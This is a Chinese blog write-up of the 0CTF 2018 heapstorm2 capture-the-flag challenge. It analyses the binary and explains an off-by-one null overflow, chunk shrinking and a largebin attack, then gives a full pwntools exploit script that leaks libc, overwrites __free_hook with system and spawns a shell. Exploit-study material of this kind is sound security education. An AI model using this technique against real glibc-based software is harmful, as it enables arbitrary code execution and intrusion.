fi3ework's Dairy.

2018-0CTF-heapstorm2

字数统计: 1k阅读时长: 6 min
2019/05/27 Share

0x00 程序分析

1
2
3
4
5
6
libc-2.24.so
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
1
2
3
4
5
6
7
8
9
10
11
12
13
    __ __ _____________   __   __    ___    ____
/ //_// ____/ ____/ | / / / / / | / __ )
/ ,< / __/ / __/ / |/ / / / / /| | / __ |
/ /| |/ /___/ /___/ /| / / /___/ ___ |/ /_/ /
/_/ |_/_____/_____/_/ |_/ /_____/_/ |_/_____/

===== HEAP STORM II =====
1. Allocate
2. Update
3. Delete
4. View
5. Exit
Command:

程序初始化时禁用了fastbin

1
2
if ( !mallopt(1, 0) )
exit(-1);

初始化时,会使用mmap在0x13370000分配0x1000个字节的空间

1
mmap((void *)0x13370000, 0x1000uLL, 3, 34, -1, 0LL)

并且会在0x13370800开始的0x20个字节空间,填入生成的3个随机数,RA、RB、RC,填充方式如图。下面的空间写入堆指针。初始化时,左边的一列的内容为RA异或0,右边的一列内容为RB异或0,此后每次写入的堆指针都要先与RA异或,堆大小都要先与RB异或。

Update、Delete前都会先计算所要操作的堆的大小与RB异或,如果等于0,则表示该位置可以存放新的堆指针。

使用View功能的条件是RC^RC的值为0x13377331,所以一开始是没有view功能的。

Update函数内,存在null by off one,但是溢出前的12个字节不受控制

1
2
3
*(_QWORD *)v3 = 0x524F545350414548LL;         // II_MROTSPAEH
*(_DWORD *)(v3 + 8) = 0x49495F4D;
*(_BYTE *)(v3 + 12) = 0; // null off by one

溢出前会被填入II_MROTSPAEH数据

Delete不存在UAF。

0x01利用分析

因为不存在UAF,且只能溢出一个\x00,没有View功能,所以使用chunk overlapping,结合使用largebin attack,获得一个分配到0x13370800附近的chunk,这样就能通过update修改其中的数据,获得VIew功能,泄露libc、修改free_hook等。

但是溢出\x00前的12个字节不受控制,所以chunk overlapping不能使用修改prev_size位实现的extend the chunk,只能使用修改size位实现的shrink the chunk。

0x02 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#!/usr/bin/env python
from pwn import *
p = process('./heapstorm2')
libc = ELF('libc.so.6')
context.log_level='debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

def q():
gdb.attach(p)
raw_input('test')

def add(size):
p.recvuntil('Command: ')
p.sendline('1')
p.recvuntil('Size: ')
p.sendline(str(size))
p.recvuntil('Allocated')

def update(idx,size,con):
p.recvuntil('Command: ')
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(idx))
p.recvuntil('Size: ')
p.sendline(str(size))
p.recvuntil('Content: ')
p.send(con)

def dele(idx):
p.recvuntil('Command')
p.sendline('3')
p.recvuntil('Index')
p.sendline(str(idx))

def view(idx):
p.recvuntil('Command')
p.sendline('4')
p.recvuntil('Index')
p.sendline(str(idx))

def pwn():
add(0x108)#0 chunkA
add(0x300)#1 chunkB
add(0x200)#2 chunkC
add(0x130)#3 ||
dele(1)
dele(0)
add(0x108)#0 r 023
update(0,0x108-12,'a'*(0x108-12))#chunkB 0x310=>0x300
add(0x80)#1 chunkb1
add(0x260)#4 chunkb2 r 01234
dele(1)
dele(2)#unsortedbin = 0x520 r 034
add(0x80)#1 remain 0134
add(0x480)#2 4=>2 remain 01234

add(0x108)#5 chunkA
add(0x300)#6 chunkB
add(0x200)#7 chunkC
add(0x130)#8 ||
dele(6)
dele(5)
add(0x108)#5 r 578
update(5,0x108-12,'a'*(0x108-12))#chunkB 0x310=>0x300
add(0x90)#6 chunkb1 5678
add(0x250)#9 chunkb2 r 56789
dele(6)
dele(7)#unsortedbin = 0x520 r 589
add(0x90)#6 remain 5689
add(0x470)#7 9=>7 remain 56789

dele(7)
dele(2)
add(0x480)#2
dele(2)

#largebin attack
payload = p64(0)+p64(0x13370800-0x20)+p64(0)*2
update(4,len(payload),payload)
payload = p64(0)+p64(0x13370800-0x20+8)+p64(0)+p64(0x13370800-0x20-0x18-5)+p64(0)
update(9,len(payload),payload)
add(0x48)#2 #2 is on the 0x13370800-0x10

#RA,RB = 0; RC = 0x13377331
#ptr0 => ptr0
payload = p64(0)*4+p64(0x13377331)+p64(0)+p64(0x13370800+0x20)
update(2,len(payload),payload)

#ptr1 => unsortedbin addr
payload = p64(0x13370800+0x20)+p64(0x100)+p64(0x13370800-0x20+3) + p64(0x100)
update(0,len(payload),payload)
view(1)
p.recvuntil('Chunk[1]: ')
unsortedbin_addr = u64(p.recv(6).ljust(8,'\x00'))
log.info('unsortedbin_addr: '+hex(unsortedbin_addr))

payload = p64(0x13370800+0x20)+p64(0x100)+p64(unsortedbin_addr+0x10)+p64(0x100)
update(0,len(payload),payload)
view(1)
p.recvuntil('Chunk[1]: ')
libc_base = u64(p.recv(6).ljust(8,'\x00'))-0x3C4B20-88
log.info('libc_base: '+hex(libc_base))
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search('/bin/sh\x00').next()
free_hook = libc_base + libc.symbols['__free_hook']

payload = p64(0x13370800+0x20)+p64(0x100)+p64(free_hook)+p64(0x100)+p64(binsh)+p64(0x100)
update(0,len(payload),payload)
update(1,8,p64(system))
dele(2)
p.interactive()

pwn()
CATALOG
  1. 1. 0x00 程序分析
  2. 2. 0x01利用分析
  3. 3. 0x02 EXP